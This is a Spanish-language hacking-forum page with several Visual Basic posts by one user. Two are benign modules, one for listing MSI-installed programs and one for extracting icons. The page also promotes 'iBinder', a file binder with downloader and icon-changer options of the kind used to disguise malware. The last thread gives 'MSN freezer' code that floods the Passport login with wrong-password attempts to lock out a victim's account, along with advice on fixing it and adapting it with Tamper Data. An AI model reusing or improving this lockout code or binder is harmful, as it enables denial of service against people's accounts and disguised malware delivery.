|
31
|
Programación / Programación Visual Basic / [Source] mEnumerateInstallerApps
|
en: 2 Febrero 2010, 13:59 pm
|
Bueno esta es una pequeña función la cual nos permite obtener información detallada sobre las aplicaciones instaladas utilizando la API del Installer de Window, no es necesario leer ya las entradas del registro para obtener esta información , lo malo es que solo lista las aplicaciones que utiliza el installer , las demás las desecha porque no lo usan. También añadi otro pedazito de code para desinatalar las apliaciones con esa misma API. Bueno saludos y espero que les resulte interesante. Option Explicit
'--------------------------------------------------------------------------------------- ' Modulo : mEnumerateInstallerApps ' Autor : skyweb07 ' Email : skyweb09@hotmail.es ' Creación : 02/02/2010 12:45 ' Próposito : Obtener una lista detallada de las aplicaciones instaladas en window utilizando las apis del Installer. ' Requerimientos : Windows Installer 3.0+ ' Créditos : http://msdn.microsoft.com/en-us/library/aa369426%28VS.85%29.aspx '--------------------------------------------------------------------------------------- ' // MSI
Private Declare Function MsiEnumProductsA Lib "MSI.dll" (ByVal iProductIndex As Long, ByVal lpProductBuf As String) As Long Private Declare Function MsiGetProductInfoA Lib "MSI.dll" (ByVal szProduct As String, ByVal szAttribute As String, ByVal lpValueBuf As String, ByRef pcchValueBuf As Long) As Long Private Declare Function MsiInstallProductA Lib "MSI.dll" (ByVal szPackagePath As String, ByVal szCommandLine As String) As Long
' // MSI Constantes Const INSTALLPROPERTY_PRODUCTNAME = "ProductName" Const INSTALLPROPERTY_PACKAGECODE = "PackageCode" Const INSTALLPROPERTY_VERSIONSTRING = "VersionString" Const INSTALLPROPERTY_HELPLINK = "HelpLink" Const INSTALLPROPERTY_INSTALLLOCATION = "InstallLocation" Const INSTALLPROPERTY_INSTALLSOURCE = "InstallSource" Const INSTALLPROPERTY_INSTALLDATE = "InstallDate" Const INSTALLPROPERTY_PUBLISHER = "Publisher" Const INSTALLPROPERTY_LOCALPACKAGE = "LocalPackage"
Const ERROR_NO_MORE_ITEMS As Long = 259& Const ERROR_SUCCESS As Long = 0& Public Function EnumApplications() As Collection ' // Función para obtener el listado de aplicaciones que estan instaladas ' // utilizando el Installer de window, ojo que las otras aplicaciones que ' // no esten instaladas utilizando el Installer no las va a listar. Dim vBuffer As String * 39 Dim hGUID As Collection Dim i As Long Const Y As String = " - " Set hGUID = New Collection Set EnumApplications = New Collection Do Until MsiEnumProductsA(ByVal i, vBuffer) = ERROR_NO_MORE_ITEMS hGUID.Add Left$(vBuffer, InStr(1, vBuffer, Chr$(0)) - 1) i = i + 1 Loop If hGUID.Count > 0 Then For i = 1 To hGUID.Count EnumApplications.Add ProductInfo(hGUID.Item(i), INSTALLPROPERTY_PRODUCTNAME) & Y & ProductInfo(hGUID.Item(i), INSTALLPROPERTY_PUBLISHER) & Y & ProductInfo(hGUID.Item(i), INSTALLPROPERTY_VERSIONSTRING) & Y & ProductInfo(hGUID.Item(i), INSTALLPROPERTY_INSTALLDATE) & Y & ProductInfo(hGUID.Item(i), INSTALLPROPERTY_INSTALLLOCATION) & Y & ProductInfo(hGUID.Item(i), INSTALLPROPERTY_HELPLINK) & Y & ProductInfo(hGUID.Item(i), INSTALLPROPERTY_LOCALPACKAGE) & Y & ProductInfo(hGUID.Item(i), INSTALLPROPERTY_PACKAGECODE) Next i End If End Function
Private Function ProductInfo(hGUID As String, hAttribute As String) As String ' // Función para obtener información acerca de una aplicación deternimada ' // pasandole los parámetros de la GUID de la aplicación y el atributo de ' // la información que se desea obtener. Dim vBuffer As String * 260 If MsiGetProductInfoA(hGUID, hAttribute, vBuffer, Len(vBuffer)) = ERROR_SUCCESS Then ProductInfo = Left$(vBuffer, InStr(1, vBuffer, Chr$(0)) - 1) End If End Function
Public Function Uninstall(hPath As String) As Long ' // Función para desinstalar un programa utilizando el installer ' // ojo que el valor lo devuelve solo cuando se desinstala el programa ' // o cuando el usuario cancela la instalación ' // Más información aqui : http://msdn.microsoft.com/en-us/library/aa370315%28VS.85%29.aspx Uninstall = MsiInstallProductA(hPath, "REMOVE=ALL") End Function
|
|
|
36
|
Programación / Programación Visual Basic / Re: [Duda] Seven/Vista
|
en: 4 Octubre 2009, 10:08 am
|
Hola, Teoricamente las dos es un ocx mas.
saludos
Hace como 3 meses intente abrir un proyecto que usaba la version del 6.0 en seven y jamas corrorio, pase el ocx lo intentaba registrar pero nunca me dejo, por eso mi pregunta. P.D.: Actualmente estoy en xp, Seven lo desinstale.!¡. Dulces Lunas!¡. Mi SO principal es Windows 7 y la verdad que en cuanto a la programacion no me da ningun problema , es hasta mas estable que en vista porquen en vista a veces el VB se crasheaba solito =( , y command dialog y todas las ocxs normalitas de windows funcionan perfectamente =)
|
|
|
37
|
Programación / Programación Visual Basic / iBinder v1.0
|
en: 3 Octubre 2009, 22:12 pm
|
Bueno eh aqui con otro simple aporte a la comunidad, esta vez se trata de un binder sencillito Open Source que he desarrollado entre ayer y hoy, el mismo trae opciones para Bindear Archivos / Downloader / Icon Changer y Clonar Informacion de Otro Archivo, pero este Binder no lo hice con animos de un Binder sino para que sepan como funciona la extructura interna de un Binder de verdad, digo estoy ya que lo que mas me costo trabajo es mientras iba creando el codigo lo iba comentando linea por linea , cuando vean el codigo veran que es super sencillo * 10 ^ 10 aparte de estar bastante organizado, vamos que el que no entienda es porque o no tiene idea de programacion o simplemente porque es un vago... Bueno sin mas charlas aqui les dejo unas imagenes y el EXE junto con el Source :mml: DESCARGA : http://www.exponelo.com/files/02TX1MKY/iBinder%20v1.0.rarPD : Si desean Modificar el Code del Cliente necesitaran instalar Codejock 13.0.0 y el Stub no tiene referencias asi que lo pueden editar sin utilizarlo...
|
|
|
39
|
Programación / Programación Visual Basic / mExtractIcons {Extraer Iconos de EXE o DLL}
|
en: 3 Octubre 2009, 15:45 pm
|
Bueno este es un simple modulo que sirve para extraer los iconos de archivos EXE o DLL , es muy simple y funciona bien, si encuentran algun bug o algo solo reportenlo y se arreglara =) , aqui les dejo el codigo del modulo y un ejemplo de uso =) Option Explicit
'************************************************************** '************************************************************** '** Module : mExtractIcons ** '** Author : Skyweb07 ** '** Email : skyweb09@hotmail.es ** '** Date : 03/10/2009 - 15:20 ** '** Purpose : Extraer Iconos desde Archivos EXE o DLL ** '************************************************************** '**************************************************************
'************************************************************** '************************************************************** '** APIS para dibujar los iconos ** '************************************************************** '**************************************************************
Private Declare Function ExtractIconEx Lib "shell32.dll" Alias "ExtractIconExA" (ByVal lpszFile As String, ByVal nIconIndex As Long, phiconLarge As Long, phiconSmall As Long, ByVal nIcons As Long) As Long Private Declare Function DrawIcon Lib "user32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, ByVal hIcon As Long) As Long Private Declare Function DestroyIcon Lib "user32" (ByVal hIcon As Long) As Long
Public Function Extract_Icons(hFile As String, Listview As Listview, Picture As PictureBox, IL As ImageList)
Dim hCount As Long Dim hIcon As Long Dim i As Integer
Listview.ListItems.Clear ' // Limpiamos los Items de la Listview
Set Listview.Icons = Nothing ' // Quitamos las referencias de las imagelist de el Listview para que no de error
IL.ListImages.Clear ' // Limpiamos las imagenes de la Imagelist
Do ' // Hacemos un Loop por todos los iconos de el archivo
ExtractIconEx hFile, hCount, hIcon, 0, 1 ' // Extraemos el Icono y lo almacenamos en la variable hIcon
If hIcon = 0 Then Exit Do ' // Si retorna 0 es que no hay mas iconos entonces Salimos del bucle
With Picture
.Cls ' // Limpiamos la Picturebox .AutoRedraw = True ' // Activamos el AutoRedraw .BackColor = vbWhite ' // Le ponemos a la Imagen un color Blanco de fondo para que se vea bien en la Listview
DrawIcon .hdc, 0, 0, hIcon ' // Dibujamos el Icono DestroyIcon hIcon ' // Destruimos el Icono para liberar el espacio utilizado en la memoria
With IL
.ListImages.Add , , Picture.Image ' // Anadimos el icono a la Imagelist .ListImages(.ListImages.Count).Tag = .ListImages.Count & "-" & Right$(hFile, Len(hFile) - InStrRev(hFile, "\")) ' // Anadimos el tag de la Imagen el Nombre del Archivo
End With
hCount = hCount + 1 ' // Incrementamos la variable hCount
End With
Loop ' // Bucle
If IL.ListImages.Count > 0 Then ' // Si la Imagelist tiene Iconos
Set Listview.Icons = IL ' // Le asignamos a la Listview el Imagelist
For i = 1 To IL.ListImages.Count ' // Recorremos todos los iconos de la IMagelist
Listview.ListItems.Add , , IL.ListImages.Item(i).Tag, i ' // Anadimos el Icono a la Listview
Next i ' // Icono Siguiente
End If
End Function PD: El Codigo de ejemplo esta comentado en ingles porque el primer post que hice lo hice para un foro en ingles {Solo para que no hallan problemas} LINK : http://www.megaupload.com/?d=RLHVXEF0
|
|
|
40
|
Programación / Programación Visual Basic / Re: Compilacion de Congelador MSN.
|
en: 16 Septiembre 2009, 09:40 am
|
Hola amigos de elhacker.net, queria saludarles y a la vez mostrarles mi aprendisaje. Bueno este codigo fuente es: Public Class Form1 Private Sub Command1_Click() On Error Resume Next Winsock1.Connect("login.passport.com", 80) Timer1.Enabled = True End Sub Private Sub Timer1_Timer() On Error Resume Next Winsock1.SendData("GET /login2.srf HTTP/1.0" & vbCrLf) Winsock1.SendData("Accept: */*" & vbCrLf) Winsock1.SendData("Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + Text1.Text + ",pwd=FREEZED-BY-WHK,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1131803266,kpp=1,kv=7,ver=2.1.6000.1,rn=Oyx2lzO3,tpf=a9aa21fdbc1350435849d9fd05849cb7" & vbCrLf) Winsock1.SendData(vbCrLf) Winsock1.SendData(vbCrLf) End Sub Private Sub Command2_Click() On Error Resume Next Timer1.Enabled = False Winsock1.Close() End Sub
El caso es que en este experimento que estado haciendo sobre los congeladores del msn queria que calificaceis mi avance, y que me ayudaran a encontrar donde esa el problema de este codigo. Saludos y muchas gracias por la atencion ! Haber si no me falla la memoria y mirando un poco el code te puedo decir que ese code es del CHAU MSN creo, aparte de ello siempre trata de ver lo que hace el programa y luego copia si quieres, no empiezes como lo hice yo Bueno te explico algo el code : Private Sub Command1_Click() On Error Resume Next Winsock1.Connect("login.passport.com", 80) Timer1.Enabled = True End Sub Primeri tienes que añadir un WInsock al Programa y Un Command Button Winsock1.Connect("login.passport.com", 80) ' Aqui lo que hace es conectarse a hotmail con el winsock Timer1.Enabled = True ' Inicia un Timer Private Sub Timer1_Timer() On Error Resume Next Winsock1.SendData("GET /login2.srf HTTP/1.0" & vbCrLf) Winsock1.SendData("Accept: */*" & vbCrLf) Winsock1.SendData("Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + Text1.Text + ",pwd=FREEZED-BY-WHK,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1131803266,kpp=1,kv=7,ver=2.1.6000.1,rn=Oyx2lzO3,tpf=a9aa21fdbc1350435849d9fd05849cb7" & vbCrLf) Winsock1.SendData(vbCrLf) Winsock1.SendData(vbCrLf) End Sub Aqui esta parte esta Re-Mal ya que el Timer funciona sin saber si el Socket esta conectado por lo que el timer deberias activarlo en el evento del Winsock Connect para estar asegurados de que ya esta conectado y que puedes enviar todos esos datos Winsock1.SendData("GET /login2.srf HTTP/1.0" & vbCrLf) Winsock1.SendData("Accept: */*" & vbCrLf) Winsock1.SendData("Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + Text1.Text + ",pwd=FREEZED-BY-WHK,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1131803266,kpp=1,kv=7,ver=2.1.6000.1,rn=Oyx2lzO3,tpf=a9aa21fdbc1350435849d9fd05849cb7" & vbCrLf) Winsock1.SendData(vbCrLf) Winsock1.SendData(vbCrLf)
Aqui esta parte lo que hace es mandarle datos al servidor de hotmail con un passwords Mal ( pwd=FREEZED-BY-WHK ) para que el mismo al pasar los 3 intentos de conexión con passwords mal se congele el msn por un tiempo hasta que deje de activar el timer ese y luego para de enviar passwords mal y se descongela el MSN despues de 3 minutos o algo asi. PD : Creo que hotmail cambio ese metodo ya por lo que deberias utilizar algun programa coo Tamper Data para modificar las cabezeras del navegador y obtener la nueva forma de loguearse, asi mismo lo puedes hacer con cualquier otro sitio que necesite login Aqui un ejemplo de como seria modificar las cabezeras del Passaport de Hotmail con el Tamper Data
|
|
|
|
|
|
|